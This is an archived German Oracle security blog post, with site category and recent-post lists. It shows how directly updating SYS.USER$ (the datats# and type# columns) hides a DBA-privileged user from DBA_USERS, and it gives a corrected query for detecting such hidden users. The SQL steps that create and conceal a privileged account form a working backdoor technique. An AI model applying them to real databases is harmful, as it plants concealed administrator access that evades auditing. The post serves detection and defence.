Sie befinden sich aktuell in den Alexander Kornbrust Oracle Security Blog dt. Blog-Archiven für den folgenden Tag 24 Dez 2007.
- 10.2.0.4 (1)
- 11g (5)
- Allgemein (27)
- Auditing (1)
- Backdoor (2)
- Bücher (1)
- checkpwd (2)
- CPUApr2007 (1)
- CPUApr2008 (1)
- CPUJan2008 (3)
- CPUJul2007 (3)
- CPUJul2008 (1)
- CPUOct2007 (3)
- Database Vault (3)
- DOAG (2)
- Exploit (4)
- Forensik (1)
- Hedgehog (3)
- Inguma (1)
- Oracle (3)
- Oracle Security (25)
- Präsentation (3)
- rootkit (1)
- Security (6)
- Sentrigo (4)
- software (4)
- 18 Nov 2011: DOAG 2011 Präsentation "Best of Oracle Security 2011"
- 13 Apr 2011: Blackhat Training "Hacking and Securing Oracle (2 days)"
- 23 Mrz 2011: McAfee übernimmt Sentrigo
- 9 Apr 2010: DOAG Berliner Expertenseminare: Oracle Hardening & Patching / Auditing & Co.
- 1 Mrz 2010: Sentrigo stellt den neuen Security Scanner Repscan 3.0 vor
- 21 Jan 2009: Webinar - Best Practices for Database Security
- 15 Jan 2009: Buchvorstellung: Oracle Survival Guide
- 24 Dez 2008: Frohe Weihnachten & ein gutes neues Jahr
- 14 Dez 2008: Datenklau bei Berliner Landesbank
- 3 Dez 2008: DOAG 2008
Archive für 24 Dez 2007
Unsichtbare Benutzer durch Datenmanipulation
24 Dez 2007 von Alexander Kornbrust.
Auf der Deepsec-Konferenz gab David Litchfield eine Präsentation zum Thema “In-Memory Rootkits“. Beiläufig erwähnte er auch die Möglichkeit, unsichtbare Benutzer durch Modifikation der Tablespacenummer zu erzeugen (”update sys.user$ set datats#=31337 where user#=76“).Um diese unsichtbaren Benutzer zu finden, riet David, das folgende Statement zu verwenden (”SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS“).
————- Tests auf 10.2.0.3 mit Oct 2007 CPU ——————–
– Benutzer U1 mit DBA Rechten erzeugen
SQL> create user u1 identified by u1;
SQL> grant dba to u1;
—
SQL> select user#, name, datats# from sys.user$;
0 SYS 0
1 PUBLIC 0
76 U1 5
…
– datats# auf einen nicht existierenden Wert setzen
SQL> update sys.user$ set datats#=31337 where user#=76;
1 row updated.
SQL> commit;
Commit complete.
– Vergleich sys.user$ mit dba_users
– Wie eine Suche mit Google zeigt, wird dies von vielen verwendet, um unsichtbare Benutzer zu verwenden
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
U1
– Aber funktioniert dies immer?
– Warum nur eine Spalte updaten?
– Wir ändern einfach den type# auf 2 (Neustart der Datenbank ist notwendig)
–
SQL> update sys.user$ set type#=2 where user#=76;
1 row updated.
SQL> commit;
Commit complete.
– Wenn wir das vorgeschlagene Statement laufen lassen,
– wird unser User nicht angezeigt. Diesen Fehler haben
– aber alle gemacht (David, Pete, Alex, …)
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
no rows selected
————-
– Zum Testen ist es notwendig, die Datenbank zu starten, da ohne Neustart der Datenbank auch type#<0 funktioniert
SQL> conn u1/u1
– Deshalb sollte folgendes Statement verwendet werden
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
U1
–
Frohe Weihnachten.
Geschrieben in rootkit, Backdoor, Oracle Security, Allgemein | Drucken | Keine Kommentare »